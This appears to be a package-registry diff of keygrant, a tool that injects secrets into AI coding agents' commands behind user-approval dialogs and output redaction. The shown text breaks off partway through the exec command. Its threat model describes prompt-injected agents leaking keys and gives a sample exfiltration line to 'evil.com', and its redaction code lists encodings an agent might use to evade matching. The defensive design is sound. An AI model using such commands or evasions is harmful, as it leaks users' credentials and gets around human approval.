keygrant 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,122 @@
1
+ Metadata-Version: 2.4
2
+ Name: keygrant
3
+ Version: 0.1.0
4
+ Summary: Per-command secret injection for AI coding agents — values never enter model context
5
+ License: Apache-2.0
6
+ Project-URL: Homepage, https://keygrant.app
7
+ Project-URL: Repository, https://github.com/bazingaedward/keygrant
8
+ Keywords: secrets,mcp,ai-agents,claude-code,security
9
+ Classifier: Development Status :: 3 - Alpha
10
+ Classifier: Environment :: Console
11
+ Classifier: Intended Audience :: Developers
12
+ Classifier: Operating System :: Microsoft :: Windows
13
+ Classifier: Operating System :: MacOS
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Topic :: Security
16
+ Requires-Python: >=3.10
17
+ Description-Content-Type: text/markdown
18
+ License-File: LICENSE
19
+ Dynamic: license-file
20
+
21
+ # keygrant
22
+
23
+ ![demo: agent requests a secret, user approves via native dialog, output comes back redacted](docs/demo.gif)
24
+
25
+ Per-command secret injection for AI coding agents. Secrets live in a local
26
+ DPAPI-encrypted vault; the model's context only ever sees secret **names** —
27
+ values are injected into the child process environment at exec time, and all
28
+ output is redacted before it returns to the model.
29
+
30
+ **Why:** anything placed in an LLM's context can be exfiltrated (prompt
31
+ injection, logs, generated code). The fix is architectural: keys never enter
32
+ context, only the execution environment.
33
+
34
+ ## Components
35
+
36
+ - `keygrant.py` — vault + CLI
37
+ - `keygrant set NAME [--desc TEXT]` — store a secret (value via stdin, never argv)
38
+ - `keygrant list` / `rm NAME`
39
+ - `keygrant exec [--redact] NAMES -- CMD` — run CMD with secrets injected
40
+ - `keygrant revoke NAME|--all` — revoke active approval grants
41
+ - `keygrant init` — wire up a project (`.mcp.json` + `CLAUDE.md` guidance)
42
+ - `keygrant_mcp.py` — MCP server (stdio JSON-RPC, zero deps)
43
+ - `list_secrets` — names/descriptions/usage only, never values
44
+ - `exec_with_secrets` — server-side exec with injection + forced output redaction
45
+ - deliberately **no** set/store tool: writing a value through the model would
46
+ put it in context; values enter out-of-band via the CLI only
47
+
48
+ ## Install
49
+
50
+ ```bash
51
+ uv tool install keygrant # or: pipx install keygrant
52
+ ```
53
+
54
+ Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare `pip install`
55
+ there fails; `uv` fetches a suitable Python automatically.
56
+
57
+ Then, in each project where agents should use secrets:
58
+
59
+ ```bash
60
+ keygrant init
61
+ ```
62
+
63
+ `init` adds a `keygrant` entry to the project's `.mcp.json` (merging with any
64
+ existing servers) and appends usage guidance for the model to `CLAUDE.md`,
65
+ both idempotently. Restart Claude Code in that folder to load the server.
66
+
67
+ ## Threat model
68
+
69
+ **What this protects against:**
70
+
71
+ - *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a
72
+ secret that sits in model context. Values never enter context: the model only
73
+ handles names; decryption and injection happen in the executing process.
74
+ - *Output leaks* — an agent echoing a secret back. All output returned to the
75
+ model is redacted, including base64, hex, and URL-encoded variants.
76
+ - *Grant riding* — one agent session reusing an approval made in another.
77
+ Grants are bound to the requesting session (MCP server id / CLI parent
78
+ process) and expire after 15 minutes.
79
+ - *Silent use* — every first use per session requires explicit user approval;
80
+ timeout means deny.
81
+
82
+ **What this does NOT protect against (known residual risks):**
83
+
84
+ - A compromised agent can request a command that exfiltrates the secret over
85
+ the network (`curl evil.com?k=%KEY%`). The approval dialog shows the full
86
+ command — reviewing it is the control. Per-secret egress allowlists (binding
87
+ a key to permitted destination hosts) are on the roadmap.
88
+ - Redaction is a second line of defense, not a guarantee: novel encodings can
89
+ evade it. The primary guarantee remains "values never enter context".
90
+ - Anything running as the same OS user can read the DPAPI vault. This tool
91
+ scopes *agent* access to secrets; it is not a defense against local malware.
92
+
93
+ ## Approval
94
+
95
+ Every use of a secret — via the CLI or the MCP server — requires the user's
96
+ approval through a native, topmost dialog (deny by default on a 60s timeout).
97
+ Approving grants access to that secret for **15 minutes**, bound to the
98
+ requesting session (tracked in `grants.json`); `keygrant revoke` withdraws a
99
+ grant early. Both channels go through the same gate, so an agent cannot bypass
100
+ MCP approval by shelling out to the CLI — and a grant approved for one session
101
+ cannot be reused by another. The dialog will be replaced by a resident tray
102
+ app with toast notifications; the grant semantics stay the same.
103
+
104
+ ## Storage
105
+
106
+ - **Windows**: values DPAPI-encrypted (per-user) inside
107
+ `%APPDATA%\keygrant\vault.json`
108
+ - **macOS**: values in the login Keychain (via the `security` CLI; the first
109
+ read triggers the OS Keychain permission prompt — an extra OS-level gate);
110
+ `~/.config/keygrant/vault.json` holds metadata only
111
+ - **Linux**: values in the Secret Service keyring via `secret-tool`
112
+ (libsecret-tools + a running keyring daemon; approval dialogs need zenity);
113
+ the vault file holds metadata only
114
+
115
+ The vault file also records usage metadata (use count, last used) as the seed
116
+ of an audit trail.
117
+
118
+ ## Roadmap (prototype → product)
119
+
120
+ 1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
121
+ 2. Per-secret egress allowlists (bind a key to permitted destination hosts)
122
+ 3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)
@@ -0,0 +1,8 @@
1
+ keygrant.py,sha256=3vgUW2QldjTRAPg5iyE3s1piXuhBkvfhiTL7Bfwq32g,19249
2
+ keygrant_mcp.py,sha256=Ox9VmGyz9-2FVjRencUian8VbYh8pHVm8ruLBttila8,7111
3
+ keygrant-0.1.0.dist-info/licenses/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358
4
+ keygrant-0.1.0.dist-info/METADATA,sha256=d5EJ2WniwXSqKTGckWRF1iGMIb4dTbcCADed_1vbDGA,5487
5
+ keygrant-0.1.0.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
6
+ keygrant-0.1.0.dist-info/entry_points.txt,sha256=Q3LknGWEk89sn9p1vhwblAGpWqYsWHvctYai3uDxhKY,76
7
+ keygrant-0.1.0.dist-info/top_level.txt,sha256=B7JOFunhCR5J10X53Gy0s6f_wD6xblq4QK3V2QlDz6Y,22
8
+ keygrant-0.1.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (84.0.0)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,3 @@
1
+ [console_scripts]
2
+ keygrant = keygrant:main
3
+ keygrant-mcp = keygrant_mcp:main
@@ -0,0 +1,202 @@
1
+
2
+ Apache License
3
+ Version 2.0, January 2004
4
+ http://www.apache.org/licenses/
5
+
6
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7
+
8
+ 1. Definitions.
9
+
10
+ "License" shall mean the terms and conditions for use, reproduction,
11
+ and distribution as defined by Sections 1 through 9 of this document.
12
+
13
+ "Licensor" shall mean the copyright owner or entity authorized by
14
+ the copyright owner that is granting the License.
15
+
16
+ "Legal Entity" shall mean the union of the acting entity and all
17
+ other entities that control, are controlled by, or are under common
18
+ control with that entity. For the purposes of this definition,
19
+ "control" means (i) the power, direct or indirect, to cause the
20
+ direction or management of such entity, whether by contract or
21
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
22
+ outstanding shares, or (iii) beneficial ownership of such entity.
23
+
24
+ "You" (or "Your") shall mean an individual or Legal Entity
25
+ exercising permissions granted by this License.
26
+
27
+ "Source" form shall mean the preferred form for making modifications,
28
+ including but not limited to software source code, documentation
29
+ source, and configuration files.
30
+
31
+ "Object" form shall mean any form resulting from mechanical
32
+ transformation or translation of a Source form, including but
33
+ not limited to compiled object code, generated documentation,
34
+ and conversions to other media types.
35
+
36
+ "Work" shall mean the work of authorship, whether in Source or
37
+ Object form, made available under the License, as indicated by a
38
+ copyright notice that is included in or attached to the work
39
+ (an example is provided in the Appendix below).
40
+
41
+ "Derivative Works" shall mean any work, whether in Source or Object
42
+ form, that is based on (or derived from) the Work and for which the
43
+ editorial revisions, annotations, elaborations, or other modifications
44
+ represent, as a whole, an original work of authorship. For the purposes
45
+ of this License, Derivative Works shall not include works that remain
46
+ separable from, or merely link (or bind by name) to the interfaces of,
47
+ the Work and Derivative Works thereof.
48
+
49
+ "Contribution" shall mean any work of authorship, including
50
+ the original version of the Work and any modifications or additions
51
+ to that Work or Derivative Works thereof, that is intentionally
52
+ submitted to Licensor for inclusion in the Work by the copyright owner
53
+ or by an individual or Legal Entity authorized to submit on behalf of
54
+ the copyright owner. For the purposes of this definition, "submitted"
55
+ means any form of electronic, verbal, or written communication sent
56
+ to the Licensor or its representatives, including but not limited to
57
+ communication on electronic mailing lists, source code control systems,
58
+ and issue tracking systems that are managed by, or on behalf of, the
59
+ Licensor for the purpose of discussing and improving the Work, but
60
+ excluding communication that is conspicuously marked or otherwise
61
+ designated in writing by the copyright owner as "Not a Contribution."
62
+
63
+ "Contributor" shall mean Licensor and any individual or Legal Entity
64
+ on behalf of whom a Contribution has been received by Licensor and
65
+ subsequently incorporated within the Work.
66
+
67
+ 2. Grant of Copyright License. Subject to the terms and conditions of
68
+ this License, each Contributor hereby grants to You a perpetual,
69
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70
+ copyright license to reproduce, prepare Derivative Works of,
71
+ publicly display, publicly perform, sublicense, and distribute the
72
+ Work and such Derivative Works in Source or Object form.
73
+
74
+ 3. Grant of Patent License. Subject to the terms and conditions of
75
+ this License, each Contributor hereby grants to You a perpetual,
76
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77
+ (except as stated in this section) patent license to make, have made,
78
+ use, offer to sell, sell, import, and otherwise transfer the Work,
79
+ where such license applies only to those patent claims licensable
80
+ by such Contributor that are necessarily infringed by their
81
+ Contribution(s) alone or by combination of their Contribution(s)
82
+ with the Work to which such Contribution(s) was submitted. If You
83
+ institute patent litigation against any entity (including a
84
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
85
+ or a Contribution incorporated within the Work constitutes direct
86
+ or contributory patent infringement, then any patent licenses
87
+ granted to You under this License for that Work shall terminate
88
+ as of the date such litigation is filed.
89
+
90
+ 4. Redistribution. You may reproduce and distribute copies of the
91
+ Work or Derivative Works thereof in any medium, with or without
92
+ modifications, and in Source or Object form, provided that You
93
+ meet the following conditions:
94
+
95
+ (a) You must give any other recipients of the Work or
96
+ Derivative Works a copy of this License; and
97
+
98
+ (b) You must cause any modified files to carry prominent notices
99
+ stating that You changed the files; and
100
+
101
+ (c) You must retain, in the Source form of any Derivative Works
102
+ that You distribute, all copyright, patent, trademark, and
103
+ attribution notices from the Source form of the Work,
104
+ excluding those notices that do not pertain to any part of
105
+ the Derivative Works; and
106
+
107
+ (d) If the Work includes a "NOTICE" text file as part of its
108
+ distribution, then any Derivative Works that You distribute must
109
+ include a readable copy of the attribution notices contained
110
+ within such NOTICE file, excluding those notices that do not
111
+ pertain to any part of the Derivative Works, in at least one
112
+ of the following places: within a NOTICE text file distributed
113
+ as part of the Derivative Works; within the Source form or
114
+ documentation, if provided along with the Derivative Works; or,
115
+ within a display generated by the Derivative Works, if and
116
+ wherever such third-party notices normally appear. The contents
117
+ of the NOTICE file are for informational purposes only and
118
+ do not modify the License. You may add Your own attribution
119
+ notices within Derivative Works that You distribute, alongside
120
+ or as an addendum to the NOTICE text from the Work, provided
121
+ that such additional attribution notices cannot be construed
122
+ as modifying the License.
123
+
124
+ You may add Your own copyright statement to Your modifications and
125
+ may provide additional or different license terms and conditions
126
+ for use, reproduction, or distribution of Your modifications, or
127
+ for any such Derivative Works as a whole, provided Your use,
128
+ reproduction, and distribution of the Work otherwise complies with
129
+ the conditions stated in this License.
130
+
131
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
132
+ any Contribution intentionally submitted for inclusion in the Work
133
+ by You to the Licensor shall be under the terms and conditions of
134
+ this License, without any additional terms or conditions.
135
+ Notwithstanding the above, nothing herein shall supersede or modify
136
+ the terms of any separate license agreement you may have executed
137
+ with Licensor regarding such Contributions.
138
+
139
+ 6. Trademarks. This License does not grant permission to use the trade
140
+ names, trademarks, service marks, or product names of the Licensor,
141
+ except as required for reasonable and customary use in describing the
142
+ origin of the Work and reproducing the content of the NOTICE file.
143
+
144
+ 7. Disclaimer of Warranty. Unless required by applicable law or
145
+ agreed to in writing, Licensor provides the Work (and each
146
+ Contributor provides its Contributions) on an "AS IS" BASIS,
147
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148
+ implied, including, without limitation, any warranties or conditions
149
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150
+ PARTICULAR PURPOSE. You are solely responsible for determining the
151
+ appropriateness of using or redistributing the Work and assume any
152
+ risks associated with Your exercise of permissions under this License.
153
+
154
+ 8. Limitation of Liability. In no event and under no legal theory,
155
+ whether in tort (including negligence), contract, or otherwise,
156
+ unless required by applicable law (such as deliberate and grossly
157
+ negligent acts) or agreed to in writing, shall any Contributor be
158
+ liable to You for damages, including any direct, indirect, special,
159
+ incidental, or consequential damages of any character arising as a
160
+ result of this License or out of the use or inability to use the
161
+ Work (including but not limited to damages for loss of goodwill,
162
+ work stoppage, computer failure or malfunction, or any and all
163
+ other commercial damages or losses), even if such Contributor
164
+ has been advised of the possibility of such damages.
165
+
166
+ 9. Accepting Warranty or Additional Liability. While redistributing
167
+ the Work or Derivative Works thereof, You may choose to offer,
168
+ and charge a fee for, acceptance of support, warranty, indemnity,
169
+ or other liability obligations and/or rights consistent with this
170
+ License. However, in accepting such obligations, You may act only
171
+ on Your own behalf and on Your sole responsibility, not on behalf
172
+ of any other Contributor, and only if You agree to indemnify,
173
+ defend, and hold each Contributor harmless for any liability
174
+ incurred by, or claims asserted against, such Contributor by reason
175
+ of your accepting any such warranty or additional liability.
176
+
177
+ END OF TERMS AND CONDITIONS
178
+
179
+ APPENDIX: How to apply the Apache License to your work.
180
+
181
+ To apply the Apache License to your work, attach the following
182
+ boilerplate notice, with the fields enclosed by brackets "[]"
183
+ replaced with your own identifying information. (Don't include
184
+ the brackets!) The text should be enclosed in the appropriate
185
+ comment syntax for the file format. We also recommend that a
186
+ file or class name and description of purpose be included on the
187
+ same "printed page" as the copyright notice for easier
188
+ identification within third-party archives.
189
+
190
+ Copyright [yyyy] [name of copyright owner]
191
+
192
+ Licensed under the Apache License, Version 2.0 (the "License");
193
+ you may not use this file except in compliance with the License.
194
+ You may obtain a copy of the License at
195
+
196
+ http://www.apache.org/licenses/LICENSE-2.0
197
+
198
+ Unless required by applicable law or agreed to in writing, software
199
+ distributed under the License is distributed on an "AS IS" BASIS,
200
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
201
+ See the License for the specific language governing permissions and
202
+ limitations under the License.
@@ -0,0 +1,2 @@
1
+ keygrant
2
+ keygrant_mcp
keygrant.py ADDED
@@ -0,0 +1,556 @@
1
+ #!/usr/bin/env python3
2
+ """keygrant — per-command secret injection for AI coding agents (prototype).
3
+
4
+ Secrets are stored in an OS-native keystore: DPAPI-encrypted values inside
5
+ %APPDATA%\\keygrant\\vault.json on Windows; the login Keychain on macOS; the
6
+ Secret Service keyring via secret-tool on Linux (the vault file then holds
7
+ only metadata). The agent's model context only ever sees
8
+ secret NAMES; values are decrypted at exec time and injected into the child
9
+ process environment only.
10
+
11
+ Commands:
12
+ keygrant set NAME [--desc TEXT] read value from stdin, store encrypted
13
+ keygrant list list secret names + metadata (never values)
14
+ keygrant rm NAME delete a secret
15
+ keygrant exec [--redact] NAMES -- CMD run CMD with NAMES (comma-separated)
16
+ injected as env vars; --redact captures
17
+ output and masks any plaintext leaks
18
+ keygrant revoke NAME|--all revoke active approval grants
19
+ keygrant init wire up the current project: .mcp.json
20
+ entry + CLAUDE.md guidance for agents
21
+
22
+ Using a secret requires user approval via a native dialog; approval grants
23
+ access for 15 minutes (stored in grants.json, bound to the requesting
24
+ session). Timeout = deny.
25
+ """
26
+
27
+ import base64
28
+ import json
29
+ import os
30
+ import subprocess
31
+ import sys
32
+ import time
33
+ import urllib.parse
34
+ import uuid
35
+ from datetime import datetime, timezone
36
+
37
+ IS_WIN = sys.platform == "win32"
38
+ IS_MAC = sys.platform == "darwin"
39
+ IS_LINUX = sys.platform.startswith("linux")
40
+
41
+ if IS_WIN:
42
+ _config_root = os.environ["APPDATA"]
43
+ else:
44
+ _config_root = os.environ.get("XDG_CONFIG_HOME") or os.path.join(
45
+ os.path.expanduser("~"), ".config")
46
+
47
+ VAULT_DIR = os.path.join(_config_root, "keygrant")
48
+ VAULT_PATH = os.path.join(VAULT_DIR, "vault.json")
49
+ GRANTS_PATH = os.path.join(VAULT_DIR, "grants.json")
50
+ GRANT_TTL_SECONDS = 15 * 60
51
+ KEYCHAIN_SERVICE = "keygrant"
52
+
53
+
54
+ # ---------- keystore backends ----------
55
+
56
+ if IS_WIN:
57
+ import ctypes
58
+ import ctypes.wintypes as wt
59
+
60
+ class DATA_BLOB(ctypes.Structure):
61
+ _fields_ = [("cbData", wt.DWORD), ("pbData", ctypes.POINTER(ctypes.c_char))]
62
+
63
+ def _blob(data: bytes) -> DATA_BLOB:
64
+ buf = ctypes.create_string_buffer(data, len(data))
65
+ return DATA_BLOB(len(data), ctypes.cast(buf, ctypes.POINTER(ctypes.c_char)))
66
+
67
+ def _call_dpapi(func, data: bytes) -> bytes:
68
+ blob_in = _blob(data)
69
+ blob_out = DATA_BLOB()
70
+ # CRYPTPROTECT_UI_FORBIDDEN = 0x01: never pop legacy UI, fail instead
71
+ if not func(ctypes.byref(blob_in), None, None, None, None, 0x01,
72
+ ctypes.byref(blob_out)):
73
+ raise OSError(f"{func.__name__} failed (wrong user or corrupted blob?)")
74
+ try:
75
+ return ctypes.string_at(blob_out.pbData, blob_out.cbData)
76
+ finally:
77
+ ctypes.windll.kernel32.LocalFree(blob_out.pbData)
78
+
79
+ def protect(data: bytes) -> bytes:
80
+ return _call_dpapi(ctypes.windll.crypt32.CryptProtectData, data)
81
+
82
+ def unprotect(data: bytes) -> bytes:
83
+ return _call_dpapi(ctypes.windll.crypt32.CryptUnprotectData, data)
84
+
85
+
86
+ def _security_quote(value: str) -> str:
87
+ return '"' + value.replace("\\", "\\\\").replace('"', '\\"') + '"'
88
+
89
+
90
+ def _keychain(command: str) -> subprocess.CompletedProcess:
91
+ """Run one command through `security -i` so secret values stay out of argv."""
92
+ return subprocess.run(
93
+ ["security", "-i"], input=command + "\n",
94
+ capture_output=True, text=True,
95
+ )
96
+
97
+
98
+ def _secret_tool(args: list[str], **kwargs) -> subprocess.CompletedProcess:
99
+ try:
100
+ return subprocess.run(["secret-tool", *args],
101
+ capture_output=True, text=True, **kwargs)
102
+ except FileNotFoundError:
103
+ raise OSError(
104
+ "secret-tool not found — install libsecret-tools (Debian/Ubuntu) "
105
+ "or libsecret (Fedora/Arch), and ensure a keyring daemon is running"
106
+ ) from None
107
+
108
+
109
+ def encrypt_value(value: str) -> dict:
110
+ """Store a value in the platform keystore; return vault record fields."""
111
+ if IS_WIN:
112
+ return {"blob": base64.b64encode(protect(value.encode())).decode()}
113
+ if IS_MAC:
114
+ account = uuid.uuid4().hex
115
+ proc = _keychain(
116
+ f"add-generic-password -s {KEYCHAIN_SERVICE} -a {account} "
117
+ f"-w {_security_quote(value)} -U"
118
+ )
119
+ if proc.returncode != 0:
120
+ raise OSError(f"keychain add failed: {proc.stderr.strip()}")
121
+ return {"keychain": account}
122
+ if IS_LINUX:
123
+ account = uuid.uuid4().hex
124
+ # value travels via stdin, never argv
125
+ proc = _secret_tool(
126
+ ["store", f"--label=keygrant: {account}",
127
+ "service", KEYCHAIN_SERVICE, "account", account],
128
+ input=value,
129
+ )
130
+ if proc.returncode != 0:
131
+ raise OSError(f"secret-tool store failed: {proc.stderr.strip()}")
132
+ return {"secret_tool": account}
133
+ raise OSError(f"unsupported platform: {sys.platform}")
134
+
135
+
136
+ def decrypt_value(record: dict) -> str:
137
+ if "blob" in record:
138
+ if not IS_WIN:
139
+ raise OSError("this secret was stored with Windows DPAPI")
140
+ return unprotect(base64.b64decode(record["blob"])).decode()
141
+ if "keychain" in record:
142
+ proc = subprocess.run(
143
+ ["security", "find-generic-password", "-s", KEYCHAIN_SERVICE,
144
+ "-a", record["keychain"], "-w"],
145
+ capture_output=True, text=True,
146
+ )
147
+ if proc.returncode != 0:
148
+ raise OSError(f"keychain read failed: {proc.stderr.strip()}")
149
+ return proc.stdout.rstrip("\n")
150
+ if "secret_tool" in record:
151
+ proc = _secret_tool(
152
+ ["lookup", "service", KEYCHAIN_SERVICE,
153
+ "account", record["secret_tool"]],
154
+ )
155
+ if proc.returncode != 0:
156
+ raise OSError(f"secret-tool lookup failed: {proc.stderr.strip()}")
157
+ return proc.stdout.rstrip("\n")
158
+ raise OSError("unknown vault record format")
159
+
160
+
161
+ def delete_value(record: dict) -> None:
162
+ if "keychain" in record:
163
+ subprocess.run(
164
+ ["security", "delete-generic-password", "-s", KEYCHAIN_SERVICE,
165
+ "-a", record["keychain"]],
166
+ capture_output=True, text=True,
167
+ )
168
+ elif "secret_tool" in record:
169
+ _secret_tool(["clear", "service", KEYCHAIN_SERVICE,
170
+ "account", record["secret_tool"]])
171
+
172
+
173
+ # ---------- vault ----------
174
+
175
+ VAULT_FORMAT_VERSION = 1
176
+
177
+
178
+ def load_vault() -> dict:
179
+ """Return the name -> record mapping. Accepts the pre-versioning flat
180
+ format and migrates it transparently on the next save."""
181
+ if not os.path.exists(VAULT_PATH):
182
+ return {}
183
+ with open(VAULT_PATH, "r", encoding="utf-8") as f:
184
+ data = json.load(f)
185
+ if isinstance(data.get("version"), int):
186
+ return data.get("secrets", {})
187
+ return data # legacy flat format
188
+
189
+
190
+ def save_vault(vault: dict) -> None:
191
+ os.makedirs(VAULT_DIR, exist_ok=True)
192
+ tmp = VAULT_PATH + ".tmp"
193
+ with open(tmp, "w", encoding="utf-8") as f:
194
+ json.dump({"version": VAULT_FORMAT_VERSION, "secrets": vault}, f, indent=2)
195
+ os.replace(tmp, VAULT_PATH)
196
+
197
+
198
+ # ---------- redaction ----------
199
+
200
+ def _variants(name: str, value: str) -> list[tuple[str, str]]:
201
+ """Encodings of a secret value an agent might emit to evade plain matching."""
202
+ b64 = base64.b64encode(value.encode()).decode()
203
+ variants = [
204
+ (value, name),
205
+ (b64, f"{name}:base64"),
206
+ (b64.rstrip("="), f"{name}:base64"),
207
+ (value.encode().hex(), f"{name}:hex"),
208
+ (value.encode().hex().upper(), f"{name}:hex"),
209
+ (urllib.parse.quote(value, safe=""), f"{name}:urlencoded"),
210
+ ]
211
+ seen: set[str] = set()
212
+ out = []
213
+ for v, label in variants:
214
+ if v and v not in seen:
215
+ seen.add(v)
216
+ out.append((v, label))
217
+ return out
218
+
219
+
220
+ def redact(text: str, secrets: dict[str, str]) -> str:
221
+ for name, value in secrets.items():
222
+ for variant, label in _variants(name, value):
223
+ text = text.replace(variant, f"[{label}:REDACTED]")
224
+ return text
225
+
226
+
227
+ # ---------- approval ----------
228
+
229
+ def current_requester() -> str:
230
+ """Identity a grant is bound to. The MCP server sets KEYGRANT_REQUESTER to
231
+ its per-session id; bare CLI calls fall back to their parent process id, so
232
+ a grant approved for one agent session cannot be reused by another."""
233
+ return os.environ.get("KEYGRANT_REQUESTER") or f"ppid:{os.getppid()}"
234
+
235
+
236
+ def load_grants() -> dict:
237
+ try:
238
+ with open(GRANTS_PATH, "r", encoding="utf-8") as f:
239
+ grants = json.load(f)
240
+ except (FileNotFoundError, json.JSONDecodeError):
241
+ return {}
242
+ now = time.time()
243
+ return {
244
+ name: g for name, g in grants.items()
245
+ if isinstance(g, dict) and g.get("exp", 0) > now
246
+ }
247
+
248
+
249
+ def save_grants(grants: dict) -> None:
250
+ os.makedirs(VAULT_DIR, exist_ok=True)
251
+ tmp = GRANTS_PATH + ".tmp"
252
+ with open(tmp, "w", encoding="utf-8") as f:
253
+ json.dump(grants, f, indent=2)
254
+ os.replace(tmp, GRANTS_PATH)
255
+
256
+
257
+ def _dialog_text(names: list[str], command: str) -> str:
258
+ preview = command if len(command) <= 200 else command[:200] + "…"
259
+ return (
260
+ "An AI agent requests access to secret(s):\n\n"
261
+ + "\n".join(f" {n}" for n in names)
262
+ + f"\n\nCommand:\n {preview}\n\n"
263
+ + f"Allow for {GRANT_TTL_SECONDS // 60} minutes?"
264
+ )
265
+
266
+
267
+ def _approval_dialog_win(text: str, timeout_ms: int) -> bool:
268
+ MB_YESNO, MB_ICONWARNING = 0x4, 0x30
269
+ MB_SYSTEMMODAL, MB_SETFOREGROUND, MB_TOPMOST = 0x1000, 0x10000, 0x40000
270
+ IDYES = 6
271
+ fn = ctypes.windll.user32.MessageBoxTimeoutW
272
+ fn.argtypes = [wt.HWND, ctypes.c_wchar_p, ctypes.c_wchar_p,
273
+ wt.UINT, wt.WORD, wt.DWORD]
274
+ fn.restype = ctypes.c_int
275
+ result = fn(
276
+ None, text, "keygrant — secret access request",
277
+ MB_YESNO | MB_ICONWARNING | MB_SYSTEMMODAL | MB_SETFOREGROUND | MB_TOPMOST,
278
+ 0, timeout_ms,
279
+ )
280
+ return result == IDYES
281
+
282
+
283
+ def _approval_dialog_mac(text: str, timeout_ms: int) -> bool:
284
+ timeout_s = max(1, timeout_ms // 1000)
285
+ body = json.dumps(text, ensure_ascii=False)
286
+ script = (
287
+ f"display dialog {body} with title \"keygrant\" "
288
+ f"buttons {{\"Deny\", \"Allow\"}} default button \"Deny\" "
289
+ f"cancel button \"Deny\" with icon caution giving up after {timeout_s}"
290
+ )
291
+ proc = subprocess.run(["osascript", "-e", script],
292
+ capture_output=True, text=True)
293
+ return (
294
+ proc.returncode == 0
295
+ and "button returned:Allow" in proc.stdout
296
+ and "gave up:false" in proc.stdout
297
+ )
298
+
299
+
300
+ def _approval_dialog_linux(text: str, timeout_ms: int) -> bool:
301
+ timeout_s = max(1, timeout_ms // 1000)
302
+ try:
303
+ proc = subprocess.run(
304
+ ["zenity", "--question", "--title=keygrant",
305
+ f"--text={text}", "--default-cancel",
306
+ f"--timeout={timeout_s}",
307
+ "--ok-label=Allow", "--cancel-label=Deny"],
308
+ capture_output=True, text=True,
309
+ )
310
+ except FileNotFoundError:
311
+ print("keygrant: zenity not found; denying by default "
312
+ "(install zenity for approval dialogs)", file=sys.stderr)
313
+ return False
314
+ return proc.returncode == 0 # 1 = deny, 5 = timeout
315
+
316
+
317
+ def _approval_dialog(names: list[str], command: str, timeout_ms: int) -> bool:
318
+ """Native, topmost yes/no dialog. Timeout or No = deny."""
319
+ text = _dialog_text(names, command)
320
+ if IS_WIN:
321
+ return _approval_dialog_win(text, timeout_ms)
322
+ if IS_MAC:
323
+ return _approval_dialog_mac(text, timeout_ms)
324
+ if IS_LINUX:
325
+ return _approval_dialog_linux(text, timeout_ms)
326
+ return False # no interactive channel on this platform: deny by default
327
+
328
+
329
+ def request_approval(names: list[str], command: str) -> tuple[bool, str]:
330
+ """Return (allowed, denial_reason). Prompts for names not granted to the
331
+ current requester; grants made for other requesters do not carry over."""
332
+ requester = current_requester()
333
+ grants = load_grants()
334
+ pending = [
335
+ n for n in names
336
+ if not (n in grants and grants[n].get("req") == requester)
337
+ ]
338
+ if not pending:
339
+ return True, ""
340
+ timeout_ms = int(os.environ.get("KEYGRANT_APPROVAL_TIMEOUT_MS", "60000"))
341
+ if not _approval_dialog(pending, command, timeout_ms):
342
+ return False, (
343
+ f"user denied access to: {', '.join(pending)} "
344
+ "(approval dialog declined or timed out)"
345
+ )
346
+ grants = load_grants()
347
+ expiry = time.time() + GRANT_TTL_SECONDS
348
+ for name in pending:
349
+ grants[name] = {"exp": expiry, "req": requester}
350
+ save_grants(grants)
351
+ return True, ""
352
+
353
+
354
+ # ---------- commands ----------
355
+
356
+ def cmd_set(args: list[str]) -> int:
357
+ if not args:
358
+ print("usage: keygrant set NAME [--desc TEXT]", file=sys.stderr)
359
+ return 2
360
+ name = args[0]
361
+ desc = ""
362
+ if "--desc" in args:
363
+ desc = args[args.index("--desc") + 1]
364
+ value = sys.stdin.read().lstrip("").strip()
365
+ if not value:
366
+ print("error: empty value on stdin", file=sys.stderr)
367
+ return 1
368
+ vault = load_vault()
369
+ if name in vault:
370
+ delete_value(vault[name])
371
+ record = encrypt_value(value)
372
+ record.update({
373
+ "desc": desc,
374
+ "created": datetime.now(timezone.utc).isoformat(timespec="seconds"),
375
+ "last_used": None,
376
+ "use_count": 0,
377
+ })
378
+ vault[name] = record
379
+ save_vault(vault)
380
+ print(f"stored: {name}")
381
+ return 0
382
+
383
+
384
+ def cmd_list(_args: list[str]) -> int:
385
+ vault = load_vault()
386
+ if not vault:
387
+ print("(vault empty)")
388
+ return 0
389
+ width = max(len(n) for n in vault)
390
+ for name, meta in sorted(vault.items()):
391
+ used = f"used {meta.get('use_count', 0)}x" if meta.get("use_count") else "never used"
392
+ desc = meta.get("desc") or "-"
393
+ print(f"{name:<{width}} {used:<12} {desc}")
394
+ return 0
395
+
396
+
397
+ def cmd_rm(args: list[str]) -> int:
398
+ vault = load_vault()
399
+ if not args or args[0] not in vault:
400
+ print("error: no such secret", file=sys.stderr)
401
+ return 1
402
+ delete_value(vault[args[0]])
403
+ del vault[args[0]]
404
+ save_vault(vault)
405
+ print(f"removed: {args[0]}")
406
+ return 0
407
+
408
+
409
+ def cmd_exec(args: list[str]) -> int:
410
+ redact_output = False
411
+ if args and args[0] == "--redact":
412
+ redact_output = True
413
+ args = args[1:]
414
+ if "--" not in args or args.index("--") == 0:
415
+ print("usage: keygrant exec [--redact] NAME[,NAME...] -- COMMAND [ARGS...]",
416
+ file=sys.stderr)
417
+ return 2
418
